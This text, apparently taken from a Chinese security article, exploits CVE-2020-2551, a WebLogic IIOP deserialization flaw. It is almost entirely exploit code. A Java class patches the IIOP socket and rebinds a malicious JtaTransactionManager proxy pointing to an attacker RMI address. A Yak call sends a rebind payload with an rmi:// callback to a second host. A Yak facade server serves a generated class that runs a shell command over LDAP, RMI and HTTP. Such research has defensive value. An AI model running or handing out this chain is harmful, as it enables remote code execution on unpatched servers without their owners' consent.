CVE-2020-2551 深入 IIOP 检测与 Non-Java(Yak) 利用

package payload.com.payload;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;import com.nqzero.permit.Permit;
import javax.naming.Context;import javax.naming.InitialContext;import java.io.IOException;import java.lang.reflect.*;import java.rmi.Remote;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;
import javassist.*;
public class Test {    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";    public static void main(String[] args) throws Exception {        String ip = "192.168.101.211";        String port = "7001";        String rmiAddr = "<rmi地址>";        hookSocket(ip,port);        Hashtable<String, String> env = new Hashtable<String, String>();        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));        Context context = new InitialContext(env);        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();        jtaTransactionManager.setUserTransactionName(rmiAddr);        Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);        context.rebind("hello", remote);    }    public static void hookSocket(String ip,String port) throws NotFoundException, CannotCompileException, IOException {        ClassPool cp = ClassPool.getDefault();        CtClass ctClass = cp.get("weblogic.iiop.MuxableSocketIIOP");        String code = "return super.createSocket(java.net.InetAddress.getByName(""+ip+""),"+port+", CONNECT_TIMEOUT);";        CtMethod ctMethod = ctClass.getDeclaredMethod("newSocket");        if(ctClass.isFrozen()){            ctClass.defrost();        }        ctMethod.setBody(code);        ctClass.toClass();        ctClass.writeFile();        ctClass.freeze();    }    public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);    }    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);        allIfaces[0] = iface;        if (ifaces.length > 0) {            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);        }        return iface.cast(Proxy.newProxyInstance(Main.class.getClassLoader(), allIfaces, ih));    }    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {        return (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);    }    public static Constructor<?> getFirstCtor(final String name) throws Exception {        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];        setAccessible(ctor);        return ctor;    }    public static void setAccessible(AccessibleObject member) {        Permit.setAccessible(member);    }    public static Map<String, Object> createMap(final String key, final Object val) {        final Map<String, Object> map = new HashMap<String, Object>();        map.put(key, val);        return map;    }}

iiop.SendPayload("192.168.101.211:7001", iiop.RebindPayload("rmi://192.168.101.135:4434/bZRqVqxnhF530qBjsxJY"))

className = "test"s = yso.NewFacadeServer("192.168.101.211", 9090)execClass := yso.GenExecClass(className, "echo 1 > /tmp/1.txt")s.Config(    yso.SetHttpResource(sprintf("%s.class", className), execClass),    yso.SetLdapResourceAddr(className, sprintf("http://%s/",s.GetAddr())),    yso.SetRmiResourceAddr(className, sprintf("http://%s/#%s", s.GetAddr(), className)),)ctx, cancel := context.WithCancel(context.Background())defer cancel()s.Serve(ctx)